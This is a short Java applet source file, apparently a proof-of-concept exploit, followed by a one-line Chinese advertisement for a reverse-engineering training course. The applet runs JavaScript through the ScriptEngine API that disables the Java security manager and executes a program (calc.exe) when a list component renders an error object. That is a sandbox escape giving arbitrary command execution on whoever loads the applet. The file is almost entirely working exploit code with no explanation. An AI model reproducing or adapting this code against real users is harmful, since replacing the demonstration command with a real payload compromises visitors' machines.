import java.applet.Applet; import javax.script.*; import javax.swing.JList; public class ScriptEngineExp extends Applet { private JList list; public void init() { try { ScriptEngine se = new ScriptEngineManager().getEngineByName("js"); se.eval("var error = new Error(\"My error\");" + "this.toString = function(){ " + "java.lang.System.setSecurityManager(null);" + "java.lang.Runtime.getRuntime().exec(\"calc.exe\");" + "return \"exploit!\";};" + "error.message = this;"); list = new JList(new Object[]{se.get("error")}); this.add(list); } catch (ScriptException ex) { ex.printStackTrace(); } } }
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)